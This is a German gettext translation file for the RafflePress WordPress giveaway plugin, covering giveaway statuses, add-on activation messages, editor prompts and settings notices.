msgid "You have reached the maximum number of sign ups."
msgstr "Sie haben die maximale Anzahl von Anmeldungen erreicht."

#: app/rafflepress.php:180 app/rafflepress.php:441
#: resources/views/rafflepress-giveaway.php:202
msgid "This giveaway is not currently running."
msgstr "Dieses Gewinnspiel läuft derzeit nicht."

#: app/rafflepress.php:160
msgid "Invalid Giveaway."
msgstr "Ungültiges Gewinnspiel."

#: app/rafflepress.php:78 resources/views/rafflepress-giveaway.php:91
msgid "Your email has been confirmed."
msgstr "Deine E-Mail wurde bestätigt."

#: app/giveaway.php:254
msgid "Pre Launch Giveaway"
msgstr "Pre-Launch-Gewinnspiel"

#: app/giveaway.php:252
msgid "Milestone Rewards Giveaway"
msgstr "Meilenstein-Belohnungs-Gewinnspiel"

#: app/giveaway.php:250
msgid "Rewards Giveaway"
msgstr "Belohnungs-Gewinnspiel"

#: app/giveaway.php:248
msgid "Leaderboard Giveaway"
msgstr "Leaderboard-Gewinnspiel"

#: app/giveaway.php:246 resources/views/backend-translations.php:538
msgid "Classic Giveaway"
msgstr "Klassisches Gewinnspiel"

#: app/giveaway.php:212 app/giveaway.php:987
#: resources/emails/notification.php:126 resources/emails/notification.php:168
#: resources/views/backend-translations.php:100
msgid "Ended"
msgstr "Beendet"

#: app/giveaway.php:209
msgid "Running - Ends in"
msgstr "Beendet in"

#: app/giveaway.php:203
msgid "Draft - "
msgstr "Entwurf - "

#: app/functions-utils.php:844
msgid "Could not activate addon. Please activate from the Plugins page."
msgstr "Add-on konnte nicht aktiviert werden. Bitte aktiviere es von der Plugin-Seite."

#: app/functions-utils.php:839
msgid "Addon activated."
msgstr "Add-on aktiviert."

#: app/functions-utils.php:837
msgid "Plugin activated."
msgstr "Plugin aktiviert."

#: app/functions-utils.php:809
msgid "Could not deactivate the addon. Please deactivate from the Plugins page."
msgstr "Add-on konnte nicht deaktiviert werden. Bitte deaktiviere es von der Plugin-Seite."

#: app/functions-utils.php:805
msgid "Addon deactivated."
msgstr "Add-on deaktiviert."

#: app/functions-utils.php:803
msgid "Plugin deactivated."
msgstr "Plugin deaktiviert."

#. translators: %s - RafflePress Builder page.
#: app/classic-editor.php:86
msgid "Whoops, you haven't created a giveaway yet. Want to <a href=\"%s\">give it a go</a>?"
msgstr "Hoppla, du hast noch kein Gewinnspiel erstellt. Möchtest du <a href=\"%s\">es ausprobieren</a>?"

#: app/classic-editor.php:75
msgid "Select a giveaway below to insert"
msgstr "Wähle ein Gewinnspiel aus, um es einzufügen"

#. translators: %s - RafflePress documentation link.
#: app/classic-editor.php:51
msgid "Heads up! Don't forget to test your form. <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">Check out our complete guide</a>!"
msgstr "Achtung! Vergiss nicht, dein Formular zu testen. <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">Unseren vollständigen Leitfaden lesen</a>!"

#: app/classic-editor.php:39
msgid "Insert Giveaway"
msgstr "Gewinnspiel einfügen"

#: app/classic-editor.php:22 app/classic-editor.php:24
#: app/classic-editor.php:107
msgid "Add Giveaway"
msgstr "Gewinnspiel erstellen"

#: app/settings.php:26
msgid "Error Updating Settings"
msgstr "Fehler beim Aktualisieren der Einstellungen"

#: app/settings.php:21
msgid "Settings Updated"
msgstr "Einstellungen aktualisiert"

#. Description of the plugin
msgid "RafflePress allows you to easily create giveaways, contests and rewards in WordPress"
msgstr "Mit RafflePress kannst du auf einfache Weise Gewinnspiele, Wettbewerbe und Belohnungen in WordPress erstellen"

#: resources/views/backend-translations.php:508
#: resources/views/frontend-translations.php:37
msgid "Giveaway Rules & Terms"
msgstr "Gewinnspiel Regeln und Bedingungen"

#: app/giveaway.php:260 app/giveaway.php:266
msgid "N/A"
msgstr "n. a."

#: app/functions-utils.php:251 resources/views/backend-translations.php:459
msgid "Select Time"
msgstr "Uhrzeit wählen"

#: app/bootstrap.php:326
msgid "Please rate <strong>RafflePress</strong> <a href=\"%1$s\" target=\"_blank\">&#9733;&#9733;&#9733;&#9733;&#9733;</a> on <a href=\"%2$s\" target=\"_blank\">WordPress.org</a> to help us spread the word. Thank you from the RafflePress team!"
msgstr "Bitte bewerte <strong>RafflePress</strong> <a href=\"%1$s\" target=\"_blank\">&#9733;&#9733;&#9733;&#9733;&#9733;</a> auf <a href=\"%2$s\" target=\"_blank\">WordPress.org</a>, damit wir bekannter werden. Danke vom RafflePress-Team!"